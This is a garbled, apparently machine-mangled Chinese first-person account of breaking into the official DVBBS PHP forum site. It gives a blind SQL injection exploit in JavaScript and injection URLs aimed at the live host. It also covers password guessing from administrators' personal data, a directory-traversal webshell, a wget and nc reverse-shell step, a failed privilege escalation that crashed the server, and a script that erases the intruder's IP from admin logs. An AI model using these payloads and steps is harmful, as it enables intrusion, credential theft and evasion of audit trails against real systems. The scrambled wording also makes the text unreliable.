ACCESS寇拿下DVBBS php官网详细过程(图)

几 个月前,DVBBS
php2.0凸起了一个得一直读来管理员密码的sql注入漏洞,当时者漏洞出来的下,我看之心痒,怎么还见面来这样平庸的纰漏,DVBBS
php2.0应声套代码我还无仔细看了,于是5月中旬本人down下来大概看了下,接着自己花费了三龙之流年,拿下p.dvbbs.net,即动网php的法定网
站,并赢得了webshell。总的来说,这次入侵凭的是亚细分技术加相同细分运气。 
同样、 SQL注入漏洞: 
晚上检讨了许久,终于以topicother.php中窥见了平地处sql注入漏洞,但是连无像前段时间暴的狐狸尾巴那么粗略,因为不能够将密码直接读来数据库并出示出,这是个走帖子的报名主函数,我大概搜索了产,1.0看似后来就大增了这意义。好了,来拘禁具体函数: 
function PostActive_Main(){ 
…… 
$TopicID = $GLOBALS[‘id’]; 
$activeid = trim($_GET[‘activeid’]);//activeid并从未过滤 
$timemode = $_POST[‘payment’]; 
$systemmode = trim($_POST[‘contact’]); 
$message = trim($_POST[‘message’]); 
$gettimemode = trim($_POST[‘timemode’]); 
$getstarttime = trim($_POST[‘starttime’]); 
$getendtime = trim($_POST[‘endtime’]); 
$getexpiretime = trim($_POST[‘expiretime’]); 
if($timemode ==0) 
$costnum = 0; 
else 
$costnum = intval(trim($_POST[‘payvalue’])); 
//直接带动进使用了 
if( $query = $db->query(“SELECT u1.sex,u1.strength,u2.usersex FROM {
$dv }active as u1,{ $dv }user as u2 WHERE activeid={ $activeid }”)){ 
$activeinfo =& $db->fetch_array($query); 
if( !empty($activeinfo) ) { 
$db->free_result($query); 


if( $num = $db->query(“SELECT count(*) as num from { $dv }activeuser
where activeid='”.$activeid.”‘”)){ 
$activenum = $db->fetch_array($num); 
if( !empty($activenum) ) { 
$db->free_result($num); 


… 
//如果查取的activeid不科学或后面注入的原则不成立,则展示显示str1:对不起!本活动报名人都满! 
if($activenum[‘num’]>=$activeinfo[‘strength’]){ 
head(0,0,0,$arrNavMenu); 
showmsg($lang[‘Active_Error.str1’]); 
exit; 

//如果activeid正确(后面注入的口径也树立),但尚无登陆,就显str2:请登陆后操作! 
if ($userid==0) { 
head(0,0,0,$arrNavMenu); 
showmsg($lang[‘Active_Error.str2’]); 
exit; 

… 
//如果activeid正确而就登陆了,递交的早晚没递交联系方法,则会显示str6这个似是而非:对不起联系方式不能够啊空或低于8独字符! 
if (”==$systemmode||strlen($systemmode) 
先是先确定有没产生activeid为1之倒帖子,就是当论坛目录后长 
topicother.php?t=9&action=join&activeid=1 
显示“对不起!本活动报名人已满!”则闹或无存,自己注册个号进去发个活动帖子先。 
到底
据上面说,大家是不是业已圈出来该怎么注入啦,并无是啊还亟待工具的,想当年ACCESS手工注入又未是从来不注入了,判断标准对就回到正常,错误就非正好
常显示;这里不也是平的道理么,不管发生没登陆,出错都显示:“对不起!本走报名人都满!”,如果判断标准不错,没有登陆的说话显示:“请登陆后操
作!”,已经登陆了展示:“对不起联系方式不可知也空或低于8只字符!”于是当晚本人手动测试了瞬间法定,并成获了一个大班的16个MD5的密码。兴奋
的错过睡,躺在铺上也怎为上床非着:怎么去再简单的运为?一边盘算,一边入睡,睡着的时节天还显得了。 
5独小时后,睡醒了后续抓,因为没
开发那种application程序的经验,所以自己并未想去描绘个exp工具,但直接手工多累啊,记得以前开网站的时用ajax去get或者post数
据并回显的,这里是免是也同样好?于是自己尝试写,轻轻松松写来单单纯判断md5有一样位之ajax代码,可是以写循环的时光却发错了,后来flyh4t
上线丢给自身同一段落代码,我参考了一下然后一个得读任意DVBBS
php站点管理员密码的依据页面的Exploit code搞定了(列有关键代码): 
function sendCall(i,j,url,w,p) { 
if (p==”temp”){ p=url } 
//后台密码、用户称、关联的前台用户名 
switch(parseInt(w)){ 
case 0:url = p “/**/and/**/ascii(mid(password,” i “,1))=” j
“)/**/”;break; 
case 1:url = p “/**/and/**/ascii(mid(username,” i “,1))=” j
“)/**/”;break; 
case 2:url = p “/**/and/**/ascii(mid(adduser,” i “,1))=” j
“)/**/”;break; 
//前台密码、用户名 
case 3:url = p “/**/and/**/ascii(mid(userpassword,” i “,1))=” j
“)/**/”;break; 
case 4:url = p “/**/and/**/ascii(mid(username,” i “,1))=” j
“)/**/”;break; 

if (window.ActiveXObject) { 
xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”); 
} else if (window.XMLHttpRequest) { 
xmlHttp = new XMLHttpRequest(); 
//解决FF中跨域问题 
try{ 
netscape.security.PrivilegeManager.enablePrivilege(
“UniversalBrowserRead “); 
} catch (e) { 
alert( “Permission UniversalBrowserRead denied. “); 


xmlHttp.onreadystatechange = function() { 
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) { 
var str = xmlHttp.responseText; 
var md5hash=document.getElementById(“md5hash”); 
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/))

pass = String.fromCharCode(j); 
md5hash.innerHTML = pass; 
j = 48; 
i ; 

else { 
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; } 
else { j ; } 

if(pass.length >= 16) { alert(“Exploitation Successfull!. Admin MD5
Hash(or username): ” pass); return true; } 
sendCall(i,j,url,w,p); 


xmlHttp.open(‘GET’, url, true); 
xmlHttp.send(null); 

工具不支持中文用户称,但支持字母 数字 常用符号组合。 
随着就大概啦,先判断下官网后台的领队人数: 
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/\*\*/and/\*\*/10=(select/\*\*/count(\*)/\*\*/from/\*\*/dv\_admin) 
然后判断一下后台管理员id是自多少届稍微: 
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/\*\*/and/\*\*/1=(select/\*\*/count(\*)/\*\*/from/\*\*/dv\_admin/\*\*/where/\*\*/id=1) 

后可以根据是的后台id用工具去暴密码啦,速度还蛮快的,一会自身就打响博得了后台备的md5
password,cmd5.com去飞了生,只能走来一个,其他未是not
found就是使收费。到前台转了产,发现前台可以看来底指挥者只有几独,貌似有些后台管理员前台并无显得为总指挥,不过我为因此工具暴出前台管理员的密
码,留着备用,查了生,也无非成功跑来了一个。 
鉴于动网的前台和后台管理员期间发生对诺提到,因此不可知为此此管理之前台密码加上特别管理员的后
台密码去登陆后台,研究了下代码和数据库,后台表中的adduser这个字段就是互相呼应之前台密码。可是既然这样,我抱的音就无法用,那怎么去取
一个后台权限呢,md5的有让流入的光华变的暗了,怪不得那会儿老漏洞那么粗略的可以读密码那些大牛们都不曾将官方站点拿下,官方站不有白痴管理员
啊… 
同时交下午了,还是没有进展,我于思念是割舍还是该怎么继续,去126信箱翻翻ph4nt0m的一对帖子,我忽然想到个办法… 
次、 社会工程学: 
那个
实这是给自家洋洋得意的地方,我自我感觉无论什么技巧,都无社会工程学来的被人心头动,而且一旦用用心,社会工程学就可以被演绎的淋漓。但是这段被自家死去活来
兴奋的更,我要未可知多写,因为马上涉及到官方多各项管理员的心事,我只是简单的侵扰检测,并无思量成别有用心的口之参阅。 
简易了游说一下:由于adduser是汉语的话,我的工具暴不了,但自得以用语句猜测(把adduser十六进制处理下便OK了): 
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/\*\*/and/\*\*/1=(select/\*\*/count(\*)/\*\*/from/\*\*/dv\_admin/\*\*/where/\*\*/adduser=0x…………/\*\*/and/\*\*/id=..) 
自己之所以..代替省有点掉十六进制用户称,后面的ID也看略下。这样,我可以轻松的猜出后台某个ID对应之前台用户称,于是自己找找了几个管理员作为突破口。 

为己发前台管理员权限,于是自己由前台找了下有所管理员、超级版主以及可看出底动网团队的人员的音信,并收集归拢到一个txt文件被,然后我失去百度跟谷歌
搜索这些管理员的用户称,搜集一些他们平时造访的站点以及留下的音讯:生日、身份证号码、QQ号码、电话号码、邮箱等之类,最后根据这些信息依据取得的
md5密码猜测可能存在的密码,终于比昏昏然茫茫然的始好多矣,实在很的时刻,我又跑至DVBBS的ASP论坛去获取相关的音信,终于到终极一个下午
的卖力没有白费,我于夜幕下了DVBBS php官方网站的后台: 
ACCESS 1 
深兴奋,我深受flyh4t截了个图宣扬了下战果,然后跑至ph4nt0m发了个帖子告诉大家社会工程学的皇皇(结果为众多大牛牛们鄙视了…寒) 
其三、 后台跨目录写文件漏洞: 
同一天的时空,我获取后台的管理权限,真的很不便,但革命尚未了结,还尚无拿到webshell呢,不过貌似而言,得到了晚高权限,就离webshell不远了,flyh4t说写单模板就好来定矣,我没有要紧搞,先去吃个饭… 
归来晚,我在后台用syinfo.php?act=phpinfo看了产网,典型的LAMP 
(linux,apache,mysql,php)组合,看来要着力的还广大呀;我随常规思路准备写单php的沙盘,可是新建模板的下也生错了: 
ACCESS 2 
非是0777权,写不进入。怎么惩罚? 
后台晃悠,看看可免得以找到另外的突破口,可是非常倒霉,从晚翻至凌晨犹无发现来同样远在可以运用的地方,可能php后台拿webshell的法本身不成熟,一直打惯了asp的站,到php就思路堵塞了,百度了下道,也绝非找到。难道伟大之变革要结束啦? 

了一会,我竟然以模板页面下看看一个打目录的地方,不过还是没权限建,哎,linux就是累,如果是windows肯定不见面权限这么变态的,自己之站
一般景象下得可以描绘的,想到可写,我忽然眼前一亮,对呀,这个站可以生可写的地方啊,比如达传头像上污染图片或文件,都急需而写的目啊,linux权
限设置的虽然变态,但总会留下个好的地方的,可是问题是自身欠怎么采取? 
滥尝试了好勤跨目录建目录或者文件失败后(现在想起回想怎么会拧的,我把目录及英文名叫行混淆了),我操决不盲目为了,读读源代码,于是自己打开admin里之template.php开始读,这不念不要紧,一读居然发现了足超越目录写文件之尾巴。 
滥填路径肯定出错,还有出错的案由是华语名一定要是输中文名,英文名称无所谓,看代码先: 
if(!is_dir($destfile)) { 
if ($issafemode = ini_get(‘safe_mode’)) { 
show_msg($lang[‘page_title’], str_replace(‘{ $TPL_DIR }’,
$destfile, $lang[‘tpl.error12’])); 
footer(); 
exit; 

if (!mkdir($destfile, 0777)) { 
show_msg($lang[‘page_title’], $lang[‘tpl.error4’]); 
footer(); 
exit; 


由此看来$destfile是生死攸关了,再看看这个变量是啊: 
$destfile =
simpleMapPath($_POST[‘add_directory’].’/’.$_POST[‘add_ename’]); 
有只simpleMapPath在过滤啊,怪不得,再省是函数: 
function simpleMapPath($path) 

global $_SERVER; 
if (empty($path)) { 
return false; 

$path = preg_replace(‘#(?:\\ )|(?:/ )#i’, ‘/’, $path); 
if ($path{ 0 } === ‘/’) { 
$documentroot = realpath(str_replace(‘\\’, ‘/’,
$_SERVER[‘DOCUMENT_ROOT’])); 
return $documentroot.$path; 
} elseif(substr($path, 0, 3) === ‘../’) { 
return $path; 
} else { 
return ROOT_PATH.$path; 


立马段函数看的我不怎么无语,实在看不出来他感怀过滤什么…专门写了个php文件管这个函数复制进去本机测试了生,完全可形容进上等同交汇的目录。 
随便绝对路径还是相对路径都得以轻松在uploadfile里描写个目录,然后形容单模板里面,编辑下,于是将到了webshell。此时上还抢亮了,想睡觉的,可是睡非正,何不一气呵成,拿下系统权限? 
季、 失败的提权: 
由提权失败了,所以就片自家呢简要多少过,虽然当时花费了自一半之时刻,可是水平不行啊。管理员权限给的最好变态了,除了uploadfile,其他有目录都不足写…不管了,有可写的地方就好了,先翻下服务器版本,输入uname
-a;id,返回: 
Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686
i686 i386 GNU/Linux 
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp) 
检 查了下perl
、wget,都安及了,于是wget一个comeback.pl,接着用NC反弹下,也成反弹回来本地shell,心想这么顺利啊,接下去就提权
了,可是翻遍了milw0rm.com,找了各种提权的以程序,就是没有一个会成的,我百度谷歌了N久,网上关于linux下提权的篇章大少,有的
基本还是一个样,反弹一下然后提权,可是大家会轻轻松松提权的prtcl.c在此间对它们无可奈何… 
到了下午实际太困了睡眠了一阵子,醒来后继续施,但最终还是因为黄了,并且将它们服务器溢起挂了,我尽快收手,哎,我极其菜了,就未举行坏事了,留个页面纪念下: 
ACCESS 3 
五、 清理遗留: 
Linux下的留我就算从未办法了,没提权成功,权限太小;但网站留下来的事物要理清掉。于是写单clear.php: 
define(‘ISDVBBS’, TRUE); 
require ‘../inc/config.php’; 
require ‘../inc/dv_clssql.php’; 
$db= new sqldb(); 
defined(‘DV_MUF_DB_HOST’) AND ($dbhost = DV_MUF_DB_HOST); 
$db->connect($dbhost, $dbuser, $dbpw, $dbname ,
$charset,$pconnect); 
//清除我新建的沙盘 
$db->query(“DELETE FROM dv_styles WHERE name=’啊啊啊'”); 
//清除我所于的IP后台操作日志 
$db->query(“DELETE FROM dv_log WHERE l_ip=’58.213.51.65′”); 
echo “ok!”; 
?> 
污染至uploadfile里面,浏览器里运行下,于是ok… 

相关文章